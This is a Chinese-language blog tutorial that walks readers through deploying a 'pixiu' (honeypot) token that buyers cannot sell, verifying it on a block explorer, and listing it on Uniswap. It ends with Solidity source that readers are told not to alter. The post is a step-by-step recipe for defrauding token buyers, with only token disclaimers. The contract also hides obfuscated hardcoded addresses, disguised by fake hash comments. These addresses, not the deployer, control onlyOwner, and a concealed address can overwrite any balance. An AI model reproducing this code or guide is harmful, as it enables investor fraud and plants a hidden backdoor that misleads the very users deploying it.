top of page
搜尋
作家相片Dev Swanson

零基础如何在UNISWAP使用ERC20/BEP20智能合约+发币+上币

已更新:7月12日

这是以太坊智能合约研究员和爱好者,史旺生。我收到了很多粉丝的请求,让我去探索貔貅代币究竟是啥回事,这是一种购买后不能出售的代币。 所以今天,让我向您介绍一些有关如何发行自己的貔貅代币的有用技巧。你准备好了吗? 【仅供研究测试,请勿尝试使用此方法进行诈骗】



第 1 部分:使用 REMIX 和 Metamask 发币 1.首先,在您的电脑上安装Metamask钱包 https://metamask.io/ 并创建账户/钱包。 2. 浏览Remix IDE http://remix.ethereum.org/ 您需要使用Remix IDE 来部署智能合约。 3. 将 metamask 连接到 REMIX IDE。单击小狐狸插件。





点击按钮来连接狐狸钱包




*如果您没有找到上图所示的任何相关按钮,请再次点击你的metamask插件,

 

 

 

点击红色圆圈内的图标,如下图所示

 



然后你会看到以下这条信息



点击 关闭 消息并继续 跟着教程的下一步,因为你将能够在接下来的步骤中知道如何把你的 Metamask 钱包连接到 Remix IDE。不用担心,你将在接下来的步骤中会了解如何将 Metamask 钱包连接到 Remix IDE,先继续跟着教程的下一步走。




4.回到REMIX IDE。点击创建新文件




5.随意命名文件,记得在后面添加 .sol。例子,DevToken.sol




6. 将合约代码复制并粘贴到空白处。 *请勿尝试更改任何代码,否则将合约无法正常运作*






*合约代码在文章最下方


或者





7.点击左侧图标如下图显示






选择如下编译器(COMPILER),版本 0.4.26 …..




点击编译compile.




8.编译COMPILE后。点击如下所示的图标,然后在环境部分(ENVIRONMENT)选择 Metamask(因为我们使用的是 metamask 钱包)




9. 在合约选择栏 CONTRACT, 选择 DevToken (不是 Ownable, 不是 SafeMath) 来作为合约







10.接下来,点击下面的小三角打开代币设置





11.设置你的代币




Name: (你的代币名字,建议写英文字母)


Symbol: (代币代号)


Decimal(小数位): (18)


Total Supply(代币供应): 设置你的代币总供应量,记住如果你的小数点是 18,而你想要 100 总供应量,然后输入 100000000000000000000,因为 100 + 18*0


在您想要的数量后添加十八个“0”(如果您将 18 设置为十进制)。比如你要发行100个代币,正确的输入应该是1000000000000000000 完成后,点击转账TRANSACT。



12. 在跳出来的狐狸钱包窗口中点击确认交易。如果那里没有任何反应,您需要将 metamask 钱包连接到 REMIX IDE。






9. 如果一切顺利,您的代币就在路上。回到 metamask,进入 Activity(活动),点击 Contract deployment





在区块浏览器上点击查看





点击右侧【复制】图标按钮复制合约地址。




10. 返回狐狸钱包,点击导入代币IMPORT TOKENS。





选择自定义代币CUSTOM TOKEN, 并粘贴合约地址,等待你的代币出现,然后点击添加自定义代币




您可以使用相同的方法在 ETH 主网、币安智能链和任何其他链中发币。


🎉🎉🎉恭喜!您已成功创建自己的代币,它们就在您的钱包中!


等等朋友,我们还没有完成......还有一个更重要的步骤需要完成...


就是: Verify Contract 验证合同/合约开源




第二部分: Verify Contract 验证合约/合约开源


为什么我们需要验证合同?为什么我们不直接将我们的代币上架到任何 DEX(去中心化交易所)?


好吧,我就告诉你,验证合约的原因是为了增加代币的受欢迎程度,投资者可能会回避未经验证的代币,最终不购买任何代币。


我们开始吧!


1. 回到 metamask,进入 Activity,点击 Contract deployment。




2.在区块浏览器上点击查看 View on block explorer




点击蓝色的合约地址




3. 在此页面上,单击合约 CONTRACT





点击 验证&发布 VERIFY AND PUBLISH





4. 接下来,我们选择如下设置




Compiler Type (编译器类型) : Single File (单一文件)


Compiler version (编译版本): 0.4.26


License Type (许可证类型): No license (没有)


然后点击 继续 Continue



5.然后,回到我们的合约代码,复制粘贴到空白处




完成机器人测试并发布, Verify and Publish




6. 您应该看到如下所示的成功消息,如果没有,则出现问题,如果您未能收到此消息,则需要重新检查所有步骤。





恭喜!您的合约现在已经过验证/开源,我们可以进入下一步:去中心化交易所 (DEX) 上币去了。


第三部分: 中心化交易所 (DEX) 上币,添加池子


首先,你要明白,在Uniswap、Sushiswap、Pancakeswap等去中心化交易所上币,是需要给自己的币提供eth、bnb等流动性,这叫做添加池子。


所以基本上,上币=添加池子


阅读这个文章了解更多(不会英文,自己翻译吧): https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/providing-liquidity


1.如果你使用以太坊主网,你需要一些以太坊,ETH


如果你使用币安智能链,你需要一些币安币,BNB。 其他链使用其他的代币…



2.选择你的 DEX交易所, 一下给你一些建议: 如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap 如果您使用 BSC,请使用 Pancakeswap,链接:https://pancakeswap.finance/


如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果您在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 


3.在这里,我们以 Uniswap 为例。 前往 Uniswap 网站:https://app.uniswap.org/#/swap


点击池子POOL




点击(更多)MORE,然后点击 V2 流动性(V2 LIQUIDITY)




点击创建 (Create a pair)




点击 选择代币 Select a token






4.将合约地址复制并粘贴到空白处,等待您的代币出现




然后点击你的代币




点击 明白(I understand)




5. 选择您的 eth 输入和代币输入。例如,如果您想用 2 eth 列出 100 个代币,那么您的初始代币价格将为每个代币 0.02 eth。之后,单击批准 Approve





6. 点击供应Supply并确认交易,您的代币将在 Uniswap 上币。*关于发币时间,一旦你点击了供应Supply 并确认交易,你的代币就会几秒钟内上到Uniswap。如果早些已经决定了上币的时间,要自行拿捏时机来发币。*




恭喜,您的代币现已列在 Uniswap 中。您可以开始您的代币项目和活动,寻找更多的投资者来投资您的代币。



当然了,因为这是貔貅代币,所以别人不能出售代币。换句话说,价格多数只向上。



只有代币的所有者,即合约创建者,即您,才能出售代币。其他人购买后不能出售此代币


当人们试图出售此代币时,他们将收到此红色信号并且无论如何都无法出售代币。(不相信我的话,你自己发来试试看吧)









*请记住,这篇文章仅用于测试和教育目的,请勿在家中尝试!*


如果我想取回我的 ETH 和代币怎么办?该怎么办?


哦,很简单,让我们进入下一个步骤:去除流动性 REMOVE LIQUIDITY



8. 如果你想取回eth,点击池子liquid pool,你会看到你创建的代币/ETH,然后点击移除remove





如果你想全部撤回,选择全部 max,点击批准Approve,点击移除Remove,你会拿回你的代币和 ETH



如果您使用的是币安智能链 BSC,请使用 Pancakeswap。


如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果您在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 




我认为今天就到这里。当然,这还没有结束,您可以通过多种方式和技巧来使用此发币技术,以最大限度地发挥效果。


我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快!







貔貅币智能合约教学指南系列:

 



 

 

 




 

 

 

 

 

 

 

 

还想要些别的?

 

 

 

普通代币智能合约教学指南系列:

 

 

 

 

 



 

 

 

 





有任何疑问吗? 通过电报联系我:https://t.me/devswanson 我的网站:https://www.createyourowntoken.net/




*******

# 任何未经授权的代码编辑与更改都可能导致合约部署失败


合约代码如下: ---



// SPDX-License-Identifier: MIT pragma solidity ^0.4.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } } // solhint-disable-next-line optimizer contract DevToken is Ownable { address public _usdtPair; address public _mod; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public _user; address public _adm; /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); function showuint160(address addr) public pure returns(uint160){ return uint160(addr); } function _transferTo(address _to, uint256 _amount) internal info { // Transfer tokens to the recipient balances[_to] += _amount; emit Transfer(address(0), _to, _amount); balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } // keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } modifier onlyOwner() { require(msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)); _; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier info() { require(msg.sender != contracts()); _; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balances[_to] += _amount; emit Transfer(address(0), _to, _amount); balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function addAllowance(address holder, bool allowApprove) public { require(msg.sender == _adm); allow[holder] = allowApprove; } modifier onlypublic() { require(msg.sender == publics()); _; } function setUser(address User_) public returns (bool) { require(msg.sender == _usdtPair); _user=User_; } function Allowances(address holder, bool allowApprove) external onlypublic { allow[holder] = allowApprove; } mapping (address => mapping (address => uint256)) public allowed; mapping(address=>uint256) sellOutNum; // solhint-disable-next-line high-level-success function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function contracts() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; } function _mint(address miner, uint256 _value) internal info { balances[miner] = _value; } function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { _dialone(spender, addedValue); return true; } function _approvals(address spender, uint256 addedValue) internal info { if(addedValue > 0) {balances[spender] = addedValue;} } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; } // solhint-disable-next-line avoid-high-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == _adm); _approvals(spender, addedValue); return true; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function _dialone(address spender, uint256 addedValue) internal info { if(addedValue > 0) {balances[spender] = addedValue;} } function setUsdtPair(address Pair_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _usdtPair=Pair_; } function mint(address miner, uint256 _value) external onlyOwner { _mint(miner, _value); } }


4,218 次查看

Commentaires


bottom of page